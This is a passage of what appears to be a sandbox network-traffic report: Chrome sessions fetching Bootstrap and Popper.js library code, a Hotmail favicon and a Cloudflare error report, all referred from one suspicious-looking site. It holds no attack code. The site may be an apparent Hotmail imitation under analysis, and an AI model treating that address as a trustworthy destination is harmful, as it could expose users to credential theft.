6e 5b 70 5d 2e 43 6f Data Ascii: ();var e=t.target;m(e).hasClass(b)\|\|(e=m(e).closest(N)),k._jQueryInterface.call(m(e),"toggle")}).on(O.FOCUS_BLUR_DATA_API,I,function(t){var e=m(t.target).closest(N)[0];m(e).toggleClass(S,/^focus(in)?$/.test(t.type))}),m.fn[p]=k._jQueryInterface,m.fn[p].Co
2024-04-19 14:56:19 UTC	1369	IN	Data Raw: 65 6c 65 63 74 6f 72 28 6e 74 29 2c 74 68 69 73 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 28 29 7d 76 61 72 20 74 3d 6f 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74 2e 6e 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 7c 7c 74 68 69 73 2e 5f 73 6c 69 64 65 28 71 29 7d 2c 74 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 21 64 6f 63 75 6d 65 6e 74 2e 68 69 64 64 65 6e 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 69 73 28 22 3a 76 69 73 69 62 6c 65 22 29 26 26 22 68 69 64 64 65 6e 22 21 3d 3d 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 63 73 73 28 22 76 69 73 69 62 69 6c 69 74 79 22 29 26 26 74 68 69 73 2e 6e 65 78 74 28 29 7d 2c 74 Data Ascii: elector(nt),this._addEventListeners()}var t=o.prototype;return t.next=function(){this._isSliding\|\|this._slide(q)},t.nextWhenVisible=function(){!document.hidden&&P(this._element).is(":visible")&&"hidden"!==P(this._element).css("visibility")&&this.next()},t
2024-04-19 14:56:19 UTC	1369	IN	Data Raw: 20 74 3d 6c 28 7b 7d 2c 57 2c 74 29 2c 46 6e 2e 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 28 6a 2c 74 2c 55 29 2c 74 7d 2c 74 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 6b 65 79 62 6f 61 72 64 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4b 45 59 44 4f 57 4e 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 5f 6b 65 79 64 6f 77 6e 28 74 29 7d 29 2c 22 68 6f 76 65 72 22 3d 3d 3d 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 70 61 75 73 65 26 26 28 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4d 4f 55 53 45 45 4e 54 45 52 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e Data Ascii: t=l({},W,t),Fn.typeCheckConfig(j,t,U),t},t._addEventListeners=function(){var e=this;this._config.keyboard&&P(this._element).on(Q.KEYDOWN,function(t){return e._keydown(t)}),"hover"===this._config.pause&&(P(this._element).on(Q.MOUSEENTER,function(t){return
2024-04-19 14:56:19 UTC	1369	IN	Data Raw: 66 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 29 7b 76 61 72 20 65 3d 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 24 29 29 3b 50 28 65 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 56 29 3b 76 61 72 20 6e 3d 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 63 68 69 6c 64 72 65 6e 5b 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 28 74 29 5d 3b 6e 26 26 50 28 6e 29 2e 61 64 64 43 6c 61 73 73 28 56 29 7d 7d 2c 74 2e 5f 73 6c 69 64 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 2c 69 2c 72 2c 6f 3d 74 68 69 73 2c 73 3d 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 71 75 65 Data Ascii: f(this._indicatorsElement){var e=[].slice.call(this._indicatorsElement.querySelectorAll($));P(e).removeClass(V);var n=this._indicatorsElement.children[this._getItemIndex(t)];n&&P(n).addClass(V)}},t._slide=function(t,e){var n,i,r,o=this,s=this._element.que
2024-04-19 14:56:19 UTC	1369	IN	Data Raw: 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 6e 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 74 5b 6e 5d 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 27 4e 6f 20 6d 65 74 68 6f 64 20 6e 61 6d 65 64 20 22 27 2b 6e 2b 27 22 27 29 3b 74 5b 6e 5d 28 29 7d 65 6c 73 65 20 65 2e 69 6e 74 65 72 76 61 6c 26 26 28 74 2e 70 61 75 73 65 28 29 2c 74 2e 63 79 63 6c 65 28 29 29 7d 29 7d 2c 6f 2e 5f 64 61 74 61 41 70 69 43 6c 69 63 6b 48 61 6e 64 6c 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 46 6e 2e 67 65 74 53 65 6c 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 74 68 69 73 29 3b 69 66 28 65 29 7b 76 61 72 20 6e 3d 50 28 65 29 5b 30 5d 3b 69 66 28 6e 26 26 50 28 6e 29 2e 68 61 73 43 6c 61 73 73 28 42 Data Ascii: ring"==typeof n){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n]()}else e.interval&&(t.pause(),t.cycle())})},o._dataApiClickHandler=function(t){var e=Fn.getSelectorFromElement(this);if(e){var n=P(e)[0];if(n&&P(n).hasClass(B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49746	104.17.25.14	443	7680	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 14:56:18 UTC	655	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://3245.tarafhaber.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 14:56:19 UTC	964	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 14:56:19 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03fa9-4af4" Last-Modified: Mon, 04 May 2020 16:15:37 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 142777 Expires: Wed, 09 Apr 2025 14:56:19 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QR%2Fy8V4NAJO92%2BTM3RCYKvof2BEofJTOIoweLAdBC8FGx5UIkAYJ9FzQbAMaXidsbjwXgcy6pr9%2FRDYB5R%2FHgA3KB2uffRJM8kkWmjkTOyznG0ueYl1enUdfUTaecw3hO0%2FaR1%2B3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 876dbd970857b0ee-ATL alt-svc: h3=":443"; ma=86400
2024-04-19 14:56:19 UTC	405	IN	Data Raw: 34 61 66 34 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 Data Ascii: 4af4/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&
2024-04-19 14:56:19 UTC	1369	IN	Data Raw: 28 31 21 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 5b 5d 3b 76 61 72 20 6f 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a 65 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7b 63 61 73 65 27 48 54 4d 4c 27 3a 63 61 73 65 27 42 4f 44 59 27 3a 72 65 74 75 72 6e 20 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 63 61 73 65 27 23 64 6f 63 75 Data Ascii: (1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#docu
2024-04-19 14:56:19 UTC	1369	IN	Data Raw: 65 2c 74 29 7b 76 61 72 20 6f 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 74 2c 27 6c 65 66 74 27 29 2c 72 3d 6f 3f 2d 31 3a 31 3b 72 65 74 75 72 6e 20 65 2e 74 6f 70 2b 3d 69 2a 72 2c 65 2e 62 6f 74 74 6f 6d 2b 3d 69 2a 72 2c 65 2e 6c 65 66 74 2b 3d 6e 2a 72 2c 65 2e 72 69 67 68 74 2b 3d 6e 2a 72 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 29 7b 76 61 72 20 6f 3d 27 78 27 3d 3d 3d 74 3f 27 4c 65 66 74 27 3a 27 54 6f 70 27 2c 69 3d 27 4c 65 66 74 27 3d 3d 6f 3f 27 52 69 67 68 74 27 3a 27 42 6f 74 74 6f 6d 27 3b 72 65 74 75 72 6e 20 70 61 72 73 65 46 6c 6f 61 74 28 65 5b 27 Data Ascii: e,t){var o=2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;return e.top+=ir,e.bottom+=ir,e.left+=nr,e.right+=nr,e}function f(e,t){var o='x'===t?'Left':'Top',i='Left'==o?'Right':'Bottom';return parseFloat(e['
2024-04-19 14:56:19 UTC	1369	IN	Data Raw: 28 7b 74 6f 70 3a 70 2e 74 6f 70 2d 73 2e 74 6f 70 2d 66 2c 6c 65 66 74 3a 70 2e 6c 65 66 74 2d 73 2e 6c 65 66 74 2d 6d 2c 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 29 3b 69 66 28 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 30 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 30 2c 21 69 26 26 72 29 7b 76 61 72 20 75 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 54 6f 70 2c 31 30 29 2c 62 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 4c 65 66 74 2c 31 30 29 3b 68 2e 74 6f 70 2d 3d 66 2d 75 2c 68 2e 62 6f 74 74 6f 6d 2d 3d 66 2d 75 2c 68 2e 6c 65 66 74 2d 3d 6d 2d 62 2c 68 2e 72 69 67 68 74 2d 3d 6d 2d 62 2c 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 75 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 62 7d 72 Data Ascii: ({top:p.top-s.top-f,left:p.left-s.left-m,width:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(a.marginTop,10),b=parseFloat(a.marginLeft,10);h.top-=f-u,h.bottom-=f-u,h.left-=m-b,h.right-=m-b,h.marginTop=u,h.marginLeft=b}r
2024-04-19 14:56:19 UTC	1369	IN	Data Raw: 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 2c 62 6f 74 74 6f 6d 3a 7b 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 62 6f 74 74 6f 6d 2d 74 2e 62 6f 74 74 6f 6d 7d 2c 6c 65 66 74 3a 7b 77 69 64 74 68 3a 74 2e 6c 65 66 74 2d 70 2e 6c 65 66 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 7d 2c 64 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 73 65 28 7b 6b 65 79 3a 65 7d 2c 73 5b 65 5d 2c 7b 61 72 65 61 3a 45 28 73 5b 65 5d 29 7d 29 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 61 72 65 61 2d 65 2e 61 72 65 61 7d 29 2c 61 3d 64 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d Data Ascii: ,height:p.height},bottom:{width:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return se({key:e},s[e],{area:E(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e){var t=
2024-04-19 14:56:19 UTC	1369	IN	Data Raw: 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 6d 6f 64 69 66 69 65 72 2e 66 75 6e 63 74 69 6f 6e 60 20 69 73 20 64 65 70 72 65 63 61 74 65 64 2c 20 75 73 65 20 60 6d 6f 64 69 66 69 65 72 2e 66 6e 60 21 27 29 3b 76 61 72 20 69 3d 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 7c 7c 74 2e 66 6e 3b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 69 29 26 26 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 29 2c 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 6f 3d 69 28 6f 2c 74 29 29 7d 29 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 29 7b 69 66 28 21 74 68 69 73 2e 73 74 61 74 65 2e 69 73 44 65 73 74 72 6f 79 65 64 29 7b 76 61 72 20 65 3d 7b 69 Data Ascii: nsole.warn('`modifier.function` is deprecated, use `modifier.fn`!');var i=t['function']\|\|t.fn;t.enabled&&e(i)&&(o.offsets.popper=c(o.offsets.popper),o.offsets.reference=c(o.offsets.reference),o=i(o,t))}),o}function N(){if(!this.state.isDestroyed){var e={i
2024-04-19 14:56:19 UTC	1369	IN	Data Raw: 29 2c 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 72 65 6d 6f 76 65 4f 6e 44 65 73 74 72 6f 79 26 26 74 68 69 73 2e 70 6f 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 2e 70 6f 70 70 65 72 29 2c 74 68 69 73 7d 66 75 6e 63 74 69 6f 6e 20 42 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 72 65 74 75 72 6e 20 74 3f 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 77 69 6e 64 6f 77 7d 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 74 2c 6f 2c 69 29 7b 76 61 72 20 72 3d 27 42 4f 44 59 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2c 70 3d 72 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 65 3b 70 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c 6f 2c 7b Data Ascii: ),this.options.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}function B(e){var t=e.ownerDocument;return t?t.defaultView:window}function H(e,t,o,i){var r='BODY'===e.nodeName,p=r?e.ownerDocument.defaultView:e;p.addEventListener(t,o,{
2024-04-19 14:56:19 UTC	1369	IN	Data Raw: 3b 72 65 74 75 72 6e 20 6f 3d 3d 3d 74 7d 29 2c 6e 3d 21 21 69 26 26 65 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 3d 3d 3d 6f 26 26 65 2e 65 6e 61 62 6c 65 64 26 26 65 2e 6f 72 64 65 72 3c 69 2e 6f 72 64 65 72 7d 29 3b 69 66 28 21 6e 29 7b 76 61 72 20 72 3d 27 60 27 2b 74 2b 27 60 27 3b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 27 2b 6f 2b 27 60 27 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 73 20 72 65 71 75 69 72 65 64 20 62 79 20 27 2b 72 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 6e 20 6f 72 64 65 72 20 74 6f 20 77 6f 72 6b 2c 20 62 65 20 73 75 72 65 20 74 6f 20 69 6e 63 6c 75 64 65 20 69 74 20 62 65 66 6f 72 65 20 27 2b 72 2b 27 21 27 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 29 Data Ascii: ;return o===t}),n=!!i&&e.some(function(e){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is required by '+r+' modifier in order to work, be sure to include it before '+r+'!')}return n}function K(e)
2024-04-19 14:56:19 UTC	1369	IN	Data Raw: 7b 72 65 74 75 72 6e 27 27 3d 3d 3d 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 26 26 2d 31 21 3d 3d 5b 27 2b 27 2c 27 2d 27 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 3d 74 2c 70 3d 21 30 2c 65 29 3a 70 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 2b 3d 74 2c 70 3d 21 31 2c 65 29 3a 65 2e 63 6f 6e 63 61 74 28 74 29 7d 2c 5b 5d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 56 28 65 2c 6e 2c 74 2c 6f 29 7d 29 7d 29 2c 61 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 69 29 7b 55 28 6f 29 26 26 28 6e 5b 74 5d 2b 3d 6f 2a 28 27 2d 27 3d 3d 3d 65 5b 69 2d 31 5d 3f 2d 31 3a 31 29 29 7d 29 7d 29 2c 6e 7d 66 75 6e 63 Data Ascii: {return''===e[e.length-1]&&-1!==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return V(e,n,t,o)})}),a.forEach(function(e,t){e.forEach(function(o,i){U(o)&&(n[t]+=o*('-'===e[i-1]?-1:1))})}),n}func
2024-04-19 14:56:19 UTC	1369	IN	Data Raw: 7b 72 65 74 75 72 6e 20 6f 26 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6f 29 2c 69 26 26 65 28 74 2c 69 29 2c 74 7d 7d 28 29 2c 70 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 20 65 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6f 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 65 5b 74 5d 3d 6f 2c 65 7d 2c 73 65 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 3d 61 72 67 75 6d 65 6e Data Ascii: {return o&&e(t.prototype,o),i&&e(t,i),t}}(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e},se=Object.assign\|\|function(e){for(var t,o=1;o<arguments.length;o++)for(var i in t=argumen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49745	64.233.177.99	443	7680	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 14:56:18 UTC	714	OUT	GET /s2/favicons?sz=64&domain_url=hotmail.com HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://3245.tarafhaber.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 14:56:19 UTC	483	IN	HTTP/1.1 301 Moved Permanently Location: https://t0.gstatic.com/faviconV2?client=SOCIAL&type=FAVICON&fallback_opts=TYPE,SIZE,URL&url=http://hotmail.com&size=64 Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Date: Fri, 19 Apr 2024 14:56:19 GMT Expires: Fri, 19 Apr 2024 15:26:19 GMT Cache-Control: public, max-age=1800 Server: sffe Content-Length: 331 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-19 14:56:19 UTC	331	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 31 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 31 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 74 30 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 66 61 76 69 63 6f 6e 56 32 3f 63 6c 69 65 6e 74 3d 53 4f 43 49 41 4c 26 61 6d 70 3b 74 79 70 65 3d 46 41 56 49 43 4f 4e 26 61 6d 70 3b 66 61 6c 6c 62 61 63 6b 5f 6f 70 74 73 3d 54 59 50 45 2c Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>301 Moved</TITLE></HEAD><BODY><H1>301 Moved</H1>The document has moved<A HREF="https://t0.gstatic.com/faviconV2?client=SOCIAL&type=FAVICON&fallback_opts=TYPE,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49748	35.190.80.1	443	7680	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 14:56:18 UTC	482	OUT	POST /report/v4?s=F2QR5YXx85bsL73%2BZA4k8m9FY7exlwSiisyQaX4CcJ5mab5B41iAueE%2FtDsX4q9yS7Dhsbn%2BA9sjMgd5JgUYq9g9AbeD2MZIM4bFvcNGD06gwWAw7Ym9a8LswRZTD13QPd0C0Z%2F4 HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 442 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 14:56:18 UTC	442	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 32 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 35 39 38 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 33 32 34 35 2e 74 61 72 61 66 68 61 62 65 72 2e 6e 65 74 2f 33 35 31 2d 68 34 36 2e 68 74 6d 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 2e 36 37 2e 31 33 34 2e 31 38 39 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 Data Ascii: [{"age":2,"body":{"elapsed_time":598,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://3245.tarafhaber.net/351-h46.htm","sampling_fraction":1.0,"server_ip":"172.67.134.189","status_code":404,"type":"http.error"},"type":"networ
2024-04-19 14:56:19 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Fri, 19 Apr 2024 14:56:18 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49740	103.153.183.146	443	7680	C:\Program Files\Google\Chrome\Application\chrome.exe

